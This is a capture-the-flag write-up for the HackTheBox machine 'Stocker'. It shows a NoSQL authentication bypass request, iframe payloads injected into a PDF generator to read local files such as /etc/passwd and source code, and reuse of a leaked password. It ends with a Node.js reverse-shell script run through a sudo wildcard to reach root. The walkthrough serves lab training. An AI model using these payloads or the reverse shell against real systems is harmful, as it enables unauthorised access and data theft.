Stocker - HackTheBox
CTF Writeup for Stocker from HackTheBox

This CTF focuses almost purely on Web Exploitation and API abuse.
Starting with nmap, we find 22/tcp[SSH], 80/tcp[HTTP]. From these results we can find a failed redirect to 'stocker.htb'.
Suggested: start a VHOST enumeration after the nmap scan.
When navigating to it, there was nothing there; just a landing page for a business.
From the before suggested VHOST enumeration, we find a valid 'dev.stocker.htb' .
Looking at 'dev.stocker.htb', I first did a directory scan and found a '/stock' but it required authentication; time to look at the login.
Due to the lack of any usernames found, ( other than the landing page name of 'Angoose Garden' ) I decided to look into SQLi / Authentication Bypass; doing SQLi I hadn't any luck; next I checked into Authentication Bypass, no fruit from SQL, so testing next I check for JSON capability ( changing 'Content-Type: application/json' ) – which it allowed – so I decided to try NoSQL JSON bypass tricks from HackTricks.
POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dev.stocker.htb
Content-Type: application/json
User-Agent: <user-agent>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dev.stocker.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=<session-id>
Connection: close
{"username": {"$ne": null}, "password": {"$ne": null} }
This NoSQL JSON Authentication Bypass worked, granting access to '/stock'.
Suggested: use ZAP/Burp to walk and monitor requests, this is API abuse piece.
From here, I just walked all functions of the website ( adding to cart and purchasing) . From Burp's proxy history I find the API calls, and how when the purchase is successful, it renders out a PDF file; specifically from this I see how the 'title' from the order POST is rendered to the PDF output, allowing manipulation.
{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"Toilet Paper","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}
{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"Manipulated PDF Content","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}
Once finding this I wanted to look at the PDF headers.
user$ strings -n 8 <order-id>.pdf
Researching this, trying to find a possible exploit or known flaw, found this. From this I tried the suggested 'iframe' technique against '/etc/passwd'.
{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"<iframe src=file:///etc/passwd </iframe>","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}
It works, but I can't read shit; we can modify the 'iframe' to include dimensions.
{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"<iframe src=file:///etc/passwd height=1000px width=800px</iframe>","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}
Much better; we now find the server-user 'angoose'.
Now we need to find some credentials to hopefully get a shell; since the 'dev' VHOST is the only site that offered substance, with a login page, we'll target that.
{"basket":[{"_id":"638f116eeb060210cbd83a93","title":"<iframe src=file:///etc/nginx/nginx.conf height=1050px width=800px</iframe>","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0,"amount":1}]}
We now know that 'dev.stocker.htb' operates from '/var/www/dev/'.
Using prior knowledge of NodeJS naming schemes, we'll try 'app,main,index+.js' . The first two names produced blank output, but 'index.js' worked.
From the output we find MongoDB credentials with the user 'dev', though issue is from the '/etc/passwd' results from earlier, we know there isn't 'dev' user; but since its only a dev site, it could be a shared password, so we can try 'angoose:<password>' .
It worked, we are now on user 'angoose'. Can collect the 'user.txt' now.
angoose@stocker$ cat ./user.txt
> ********************************
Now we can work on privilege escalation; check sudo permissions now.
So we are able to run NodeJS as root against '/usr/local/scripts/' with any name as long as it ends with .js ; since the asterisk is present in that position, we can use path traversal to execute a script we have directory write access to ( Revshells ).
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(<port>, "<ipv4>", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
Starting our netcat listener, we should get our response back, running as root.
Can collect the root flag now.
root@stocker# cd /root
root@stocker# cat ./root.txt
> ********************************
This was a good CTF, I appreciate the WebApp vulnerability practice and unique PDF local-file disclosure; though I do believe this barely qualifies as an 'Easy' CTF, due to the unique API based PDF LFI.
That's all :) .